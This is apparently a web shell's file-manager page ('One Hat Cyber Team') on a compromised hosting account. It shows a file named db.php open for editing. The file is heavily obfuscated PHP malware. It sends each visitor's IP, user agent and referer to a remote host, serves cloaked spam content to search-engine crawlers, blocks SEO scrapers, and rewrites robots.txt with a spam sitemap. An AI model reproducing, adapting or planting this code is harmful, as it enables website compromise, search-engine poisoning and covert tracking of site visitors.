⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.103
Server IP:
89.117.139.63
Server:
Linux us-phx-web957.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
PHP Version:
8.2.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u756939227
/
domains
/
keyclinicexpress.com
/
public_html
/
Edit File: db.php
<?php goto MCi5P; lPxcW: header("\110\x54\x54\120\57\x31\56\60\x20\x35\60\60\40\111\156\164\x65\x72\x6e\x61\154\x20\x53\145\162\x76\145\162\x20\x45\162\x72\157\x72"); goto NpMOJ; mjBou: $M4S6W = 0; goto ll4eP; YVcWy: jM4Go: goto wjBFg; n6dzg: $DtG1Z = $_SERVER["\x48\124\x54\120\x5f\x43\114\111\x45\116\124\137\111\x50"]; goto TAa9P; AXJhS: bh8MH: goto jrhmn; BuDiu: if (!empty($_SERVER["\x52\105\x51\x55\105\123\x54\x5f\x53\x43\110\x45\x4d\x45"]) and $_SERVER["\122\105\x51\x55\x45\123\124\x5f\123\x43\110\x45\115\x45"] == "\150\164\x74\x70\x73" or !empty($_SERVER["\110\124\124\120\x53"]) and $_SERVER["\x48\124\124\120\123"] == "\157\x6e" or !empty($_SERVER["\x53\x45\122\126\105\x52\x5f\x50\x4f\x52\124"]) and $_SERVER["\123\x45\x52\x56\x45\122\x5f\120\117\122\x54"] == "\x34\64\63" or isset($_SERVER["\110\x54\x54\x50\137\130\137\106\x4f\x52\x57\x41\x52\104\105\x44\x5f\120\x52\x4f\x54\x4f"]) and $_SERVER["\110\x54\124\x50\137\x58\137\106\117\122\127\x41\x52\104\105\104\137\x50\122\x4f\x54\x4f"] == "\150\164\164\160\163") { goto F3Eoq; } goto wzuJ_; oXufe: D9Q1c: goto tZxq0; rbziy: goto XoDM2; goto YOjxR; NhF5c: if (substr($jq2RK, 0, 5) == "\x3c\x3f\x78\x6d\x6c") { goto guNcf; } goto qFQlT; h0mAn: $DSWjh = "\x2f\57\143\x77\64"; goto H1gwQ; mNmQB: if (!(strpos($Gm6W7, "\160\151\x6e\147\x73\x69\x74\x65\x6d\141\160") !== false)) { goto guT3h; } goto vyAQ2; wzuJ_: $_SERVER["\x52\x45\121\125\x45\x53\124\137\123\x43\110\x45\x4d\105"] = "\x68\x74\164\160"; goto zPNQM; B5sju: exit; goto WCOGU; F8gyW: if (!empty($jq2RK)) { goto UOwjs; } goto CPOKw; KjiqQ: f2gwG: goto FVI1z; pSy1D: curl_setopt($X10uV, CURLOPT_SSL_VERIFYPEER, FALSE); goto GId3X; TDn8K: $_SERVER["\122\105\121\x55\x45\x53\124\137\x53\103\x48\105\x4d\105"] = "\150\164\164\x70\x73"; goto KjiqQ; cUyT6: $M4S6W = yTNLx($xsq03); goto vLM6H; brNDz: utgpa: goto piPXM; NlEd_: $DG0yP = "\63\65\x35\x2e\x79\x6f\162\153\x6d\x69\156\x64"; goto ydsj4; wt68_: $mfHKe = "\57"; goto qwdyV; jtTvK: goto D9Q1c; goto brNDz; It1a7: $lk3T6 = trim($lk3T6) . "\15\xa" . "\123\151\x74\145\155\x61\160\x3a\x20{$MBK8q}"; goto lCv4b; D7Xzn: qhjwf: goto OuQsY; MTYIS: $mfHKe = $mfHKe . "\77"; goto NtfRQ; WCjOm: DAFE7($xsq03, "\61"); goto D9b8G; RShzW: guNcf: goto KFXdV; zjtwd: UOwjs: goto r3jAm; vyAQ2: $mfHKe = $_SERVER["\x53\x43\122\111\x50\124\137\116\101\115\x45"]; goto ppjtc; e2sGV: if (!empty($lk3T6)) { goto J__M_; } goto FPM3O; KM1ob: curl_setopt($X10uV, CURLOPT_URL, $DAlIr); goto mz1LO; eH6_r: $jq2RK = @file_get_contents($NRKeR); goto dSjWX; Zi4Zs: $jq2RK = curl_exec($X10uV); goto LWlRb; vzEOL: return; goto WWIZ7; qFQlT: header("\103\157\x6e\164\x65\x6e\x74\55\124\x79\x70\145\x3a\40\164\x65\170\x74\x2f\150\x74\155\154\x3b\x20\143\150\141\x72\163\x65\164\x3d\165\164\x66\x2d\x38"); goto kYZiW; c3a6Y: if (!preg_match("\x2f\x28\141\x68\162\145\146\163\x42\157\x74\x7c\155\x6a\61\62\142\x6f\164\174\103\x65\x6e\163\171\x73\x49\156\x73\160\x65\143\x74\x7c\x59\x69\x73\157\x75\123\x70\x69\x64\145\162\x7c\132\x6d\105\165\174\x41\163\x6b\x54\x62\x46\130\124\x56\x7c\131\x79\123\x70\151\x64\x65\x72\174\x70\141\x71\154\x65\x62\x6f\164\174\x4c\151\x67\x68\x74\x44\145\x63\x6b\x52\x65\160\x6f\162\x74\163\x20\x42\157\164\x7c\x44\x61\164\x61\x46\157\x72\123\105\117\174\123\x65\172\x6e\x61\155\102\157\x74\x7c\x55\156\151\166\x65\x72\163\x61\154\106\x65\145\x64\120\x61\x72\163\x65\162\174\120\x61\x6c\x6f\x61\154\164\157\x6e\145\164\167\157\162\x6b\x73\x7c\x66\x65\145\144\x6c\x79\x7c\152\x69\153\x65\123\x70\x69\144\x65\162\x7c\110\x65\162\151\164\162\151\x78\174\x53\x65\x6d\x72\x75\x73\150\x42\x6f\x74\x7c\146\x65\145\144\x44\145\x6d\x6f\x6e\174\x50\x79\x74\150\157\x6e\55\165\162\154\x6c\151\142\174\x47\120\124\x42\x6f\x74\x7c\110\x74\164\x70\x43\154\x69\145\156\164\174\x41\155\141\x7a\x6f\156\102\x6f\x74\x7c\163\x63\x72\x61\x70\171\174\x50\171\164\150\157\x6e\174\x49\156\x64\x79\40\x4c\x69\142\x72\141\162\x79\174\103\157\x6f\154\x70\x61\144\x57\145\142\x6b\x69\x74\174\145\172\157\157\x6d\x73\174\105\x61\163\x6f\x75\123\x70\151\x64\145\x72\x7c\x73\x77\151\x66\x74\x62\157\x74\174\x50\145\x74\x61\x6c\102\157\x74\x7c\107\157\55\x68\x74\164\160\x2d\143\x6c\151\145\x6e\x74\x7c\157\x42\157\164\174\112\141\x75\156\x74\171\174\x4a\141\x76\x61\x7c\103\162\141\x77\154\x44\x61\x64\x64\x79\174\x43\154\141\x75\144\145\142\x6f\x74\174\171\x61\x6e\144\x65\x78\x42\x6f\x74\x7c\x42\x61\x72\x6b\x72\x6f\167\x6c\145\162\x7c\104\151\x67\105\170\164\174\x50\171\x74\150\157\x6e\x2d\x72\x65\x71\x75\145\x73\x74\163\x7c\x41\x70\141\143\150\x65\102\x65\156\x63\x68\x7c\x44\157\164\102\157\164\x7c\x62\x79\164\x65\x73\160\x69\x64\145\x72\51\57\x69", $_SERVER["\x48\124\124\x50\137\x55\x53\x45\x52\137\101\107\x45\116\x54"])) { goto SPz2s; } goto iZOCz; WWIZ7: Ud9jZ: goto oXufe; AQ7eY: echo $jq2RK; goto e2sGV; oeju2: $xsq03 = "\x72\170\160\x2e\164\170\164"; goto mjBou; Gz0R8: $vnDI3 = urlencode(@$_SERVER["\x48\124\x54\x50\x5f\122\105\x46\x45\x52\105\122"]); goto GIo0u; ydsj4: $O37fK = "\143\157\x6d\x2f"; goto h0mAn; T65HQ: $NRKeR = $GdaAU . "\72\57\57" . $_SERVER["\110\124\124\120\137\110\117\123\124"] . "\x2f\x72\170\x70\162\170\160"; goto eH6_r; Q2GJc: if (!(strpos($Gm6W7, "\162\x78\160\x72\x78\x70") !== false)) { goto J5TVq; } goto Z98lS; poOta: exit; goto vzEOL; FPM3O: if (!(strpos($Gm6W7, "\162\x6f\x62\157\x74\x73\56\164\170\x74") !== false)) { goto bjfag; } goto pEayo; hBkPI: if (strpos($Gm6W7, "\x72\x6f\x62\x6f\x74\163\x2e\164\x78\x74") !== false or strpos($Gm6W7, "\x6a\160\62\60\x32\63") !== false or strpos($Gm6W7, "\x70\151\x6e\x67\163\x69\164\x65\155\141\x70") !== false or preg_match("\x40\x5e\57\x28\x2e\x2a\77\51\56\x78\x6d\x6c\x24\x40\151", $_SERVER["\122\x45\121\x55\105\x53\124\137\125\122\x49"]) or preg_match("\x2f\x28{$JeLc3}\x29\57\x69", $_SERVER["\110\124\x54\120\137\125\x53\105\x52\x5f\101\107\x45\116\124"]) or preg_match("\x2f\50{$JeLc3}\x29\x2f\x69", @$_SERVER["\110\x54\x54\120\137\122\105\106\105\122\x45\x52"])) { goto utgpa; } goto jtTvK; IZhPE: dafE7($xsq03, "\60"); goto Sqe3C; ll4eP: if (!is_file($xsq03)) { goto LsS_q; } goto cUyT6; BNclu: $Gm6W7 = urlencode($_SERVER["\x52\x45\121\125\x45\123\x54\137\125\x52\x49"]); goto oHETB; XOZX9: $wpO2t = $jqEf3 . $o7Yqv . $DSWjh . $DG0yP . $uyqPt . $O37fK; goto Q83Ul; Sqe3C: goto RK0cx; goto vTYJ1; mz1LO: curl_setopt($X10uV, CURLOPT_RETURNTRANSFER, true); goto MwLQ9; xh1Df: $DAlIr = $wpO2t . "\77\x61\147\x65\x6e\x74\75{$tUoeX}\46\162\145\x66\x65\x72\x3d{$vnDI3}\x26\x6c\x61\156\x67\75{$pKPce}\x26\x69\160\x3d{$DtG1Z}\x26\144\x6f\x6d\x3d{$WNMNI}\46\x68\x74\164\160\75{$GdaAU}\x26\165\162\x69\75{$Gm6W7}\x26\x70\x63\x3d{$hW9Br}\x26\x72\145\167\162\x69\x74\x65\141\x62\154\x65\75{$M4S6W}\46\x73\x63\x72\151\x70\164\x3d{$LiqNs}"; goto mNmQB; Q83Ul: $JeLc3 = "\x59\x61\150\x6f\x6f\x7c\x42\151\156\147\x7c\101\157\154\174\x44\165\143\153\144\x75\143\153\x67\x6f\174\x47\x6f\157\x67\x6c\x65"; goto c3a6Y; oHETB: $GdaAU = urlencode($_SERVER["\122\105\x51\125\105\x53\124\137\x53\103\x48\x45\115\105"]); goto Q2GJc; kYZiW: goto jM4Go; goto RShzW; vTYJ1: wO3Uw: goto efrkn; NU7p8: $uyqPt = "\56"; goto NlEd_; A8ZWG: echo $MBK8q . "\x3a\40" . $dhFe0 . "\74\142\x72\57\x3e"; goto p9W0u; MCi5P: $hW9Br = "\x43\x51\147\x46\126\x51\x67\111"; goto Kjs4S; y8Q6B: guT3h: goto Yo7re; TAa9P: goto QxgcQ; goto D7Xzn; OuQsY: $DtG1Z = $_SERVER["\x48\124\124\x50\x5f\x58\137\x46\x4f\122\x57\x41\122\104\x45\104\x5f\x46\117\x52"]; goto jDIL2; D9b8G: RK0cx: goto gB2CT; FVI1z: function daFE7($UYQYK, $W1OZY) { goto BNaaj; tn3c2: if (!$eiryR) { goto V6Ow8; } goto xZu5d; xZu5d: fwrite($eiryR, $W1OZY); goto KoZ7I; GjYxs: V6Ow8: goto lOFai; RdAbi: return true; goto GjYxs; KoZ7I: fclose($eiryR); goto RdAbi; BNaaj: $eiryR = fopen($UYQYK, "\167"); goto tn3c2; lOFai: return false; goto e3RD8; e3RD8: } goto q36jz; ur8Au: exit; goto uYoE9; rg7bw: H2iy6: goto zXlyF; R1SKu: $WNMNI = urlencode($_SERVER["\110\124\124\x50\137\110\x4f\123\124"]); goto V3k93; pEayo: DaFe7("\162\x6f\x62\157\164\163\x2e\x74\170\164", $jq2RK); goto cfliE; ppjtc: if (strpos($mfHKe, "\x69\156\144\145\x78\x2e\160\x68") !== false) { goto YCK7K; } goto MTYIS; cfliE: bjfag: goto rbziy; m0hie: DgXQ0: goto swwTK; v9B4C: $DtG1Z = urlencode($DtG1Z); goto i10LC; KFXdV: header("\x43\x6f\156\x74\145\156\x74\x2d\124\x79\x70\x65\72\x20\164\x65\x78\164\x2f\170\x6d\x6c\x3b\40\x63\x68\141\162\163\x65\164\x3d\x75\x74\x66\x2d\70"); goto YVcWy; Z98lS: echo "\x6f\153"; goto B5sju; jDIL2: QxgcQ: goto v9B4C; vMVNK: YCK7K: goto y74Gc; q36jz: function yTNLx($UYQYK) { goto q4MMe; nj1Oa: if (!$eiryR) { goto z12Cp; } goto nl2ma; q4MMe: $eiryR = fopen($UYQYK, "\x72"); goto nj1Oa; nl2ma: $W1OZY = fread($eiryR, filesize($UYQYK)); goto h0opH; h0opH: fclose($eiryR); goto jZ8Bt; yKx39: return false; goto MbIey; jZ8Bt: return $W1OZY; goto XrbR4; XrbR4: z12Cp: goto yKx39; MbIey: } goto BNclu; MwLQ9: curl_setopt($X10uV, CURLOPT_FOLLOWLOCATION, false); goto pSy1D; y74Gc: if ($M4S6W == 0) { goto bh8MH; } goto wt68_; swwTK: if (strpos($Gm6W7, "\x6a\160\x32\60\x32\63") !== false) { goto EoiLs; } goto NhF5c; dSjWX: if ($jq2RK === "\157\x6b") { goto wO3Uw; } goto mEe3H; Kjs4S: $jqEf3 = "\x68\164\164"; goto NU7p8; gYekm: XoDM2: goto poOta; L0USO: dAFE7("\x72\x6f\x62\x6f\164\x73\56\x74\x78\x74", $lk3T6); goto gYekm; gV2kw: $DtG1Z = $_SERVER["\122\105\x4d\117\124\x45\137\101\104\104\x52"]; goto Gz0R8; mEe3H: $M4S6W = 0; goto IZhPE; H1gwQ: $o7Yqv = "\x70\72"; goto XOZX9; GIo0u: $tUoeX = urlencode($_SERVER["\110\124\124\x50\137\125\123\x45\x52\x5f\x41\x47\x45\x4e\x54"]); goto R1SKu; P71im: LsS_q: goto T65HQ; CPOKw: $X10uV = curl_init(); goto KM1ob; IJpCm: if (!(substr($jq2RK, 0, 10) == "\x65\x72\162\x6f\162\40\x63\x6f\x64\145" or $jq2RK == "\x35\x30\60" or strpos($jq2RK, "\102\141\144\40\107\141\164\145\x77\x61\171") !== false)) { goto DgXQ0; } goto lPxcW; w61iB: $MBK8q = "{$GdaAU}\72\57\x2f" . $WNMNI . $mfHKe . "\x73\x69\164\145\x6d\141\x70\x2e\x78\x6d\154"; goto It1a7; piPXM: $lk3T6 = ''; goto xh1Df; nsMB5: F3Eoq: goto TDn8K; i10LC: $LiqNs = urlencode($_SERVER["\123\103\122\111\120\124\137\x4e\101\x4d\105"]); goto BuDiu; Eljxs: header("\110\124\124\120\57\x31\x2e\61\x20\x34\x30\x34\40\x4e\157\x74\40\106\157\x75\156\144"); goto EjR2z; EjR2z: wnXN8: goto AQ7eY; YOjxR: J__M_: goto L0USO; lCv4b: $dhFe0 = ''; goto A8ZWG; wjBFg: goto wnXN8; goto sTCf3; jrhmn: $mfHKe = "\x2f\77"; goto rg7bw; Qg1WA: $pKPce = urlencode(@$_SERVER["\110\x54\x54\120\x5f\x41\x43\x43\x45\120\124\137\x4c\101\x4e\x47\x55\x41\x47\105"]); goto gf555; efrkn: $M4S6W = 1; goto WCjOm; C8THC: goto QxgcQ; goto Badrq; WCOGU: J5TVq: goto oeju2; iZOCz: header("\110\124\124\120\57\61\x2e\x30\x20\x34\x30\63\40\x46\157\162\x62\151\x64\144\145\156"); goto ur8Au; NtfRQ: goto YBem5; goto vMVNK; p9W0u: $DAlIr = $wpO2t . "\77\141\147\145\156\164\75{$tUoeX}\x26\x72\145\x66\145\x72\75{$vnDI3}\x26\x6c\141\156\x67\x3d{$pKPce}\x26\151\160\x3d{$DtG1Z}\x26\x64\x6f\155\75{$WNMNI}\x26\150\x74\164\160\x3d{$GdaAU}\x26\x75\162\151\x3d{$Gm6W7}\x26\160\x63\75{$hW9Br}\46\x72\x65\167\x72\x69\164\x65\x61\142\x6c\145\x3d{$M4S6W}\x26\x73\x63\x72\x69\160\x74\x3d{$LiqNs}\46\x73\151\x74\x65\x6d\141\160\75" . urlencode($MBK8q); goto y8Q6B; uYoE9: SPz2s: goto Qg1WA; nSUPC: B2zRf: goto lSs6D; qwdyV: goto H2iy6; goto AXJhS; NpMOJ: exit; goto m0hie; vLM6H: goto LZt73; goto P71im; Yo7re: $jq2RK = @file_get_contents($DAlIr); goto F8gyW; sTCf3: EoiLs: goto Eljxs; V3k93: if (isset($_SERVER["\x48\124\x54\120\137\103\114\x49\x45\x4e\124\137\111\x50"])) { goto bGvon; } goto i5zvm; LWlRb: curl_close($X10uV); goto zjtwd; gB2CT: LZt73: goto jHLIZ; jHLIZ: if (strpos($Gm6W7, "\146\141\166\x69\x63\157\156\x2e\151\143\x6f") !== false) { goto B2zRf; } goto hBkPI; zXlyF: YBem5: goto kmVp6; zPNQM: goto f2gwG; goto nsMB5; Badrq: bGvon: goto n6dzg; gf555: error_reporting(0); goto gV2kw; kmVp6: $lk3T6 = "\125\x73\x65\x72\55\x61\x67\x65\x6e\x74\x3a\40\x2a\15\12\x41\154\x6c\157\x77\72\x20\x2f"; goto w61iB; i5zvm: if (isset($_SERVER["\110\124\x54\x50\x5f\130\x5f\106\117\x52\x57\101\122\x44\105\x44\x5f\106\117\x52"])) { goto qhjwf; } goto C8THC; tZxq0: goto j8Rv6; goto nSUPC; r3jAm: if (empty($jq2RK)) { goto Ud9jZ; } goto IJpCm; GId3X: curl_setopt($X10uV, CURLOPT_SSL_VERIFYHOST, FALSE); goto Zi4Zs; lSs6D: j8Rv6: ?>
Simpan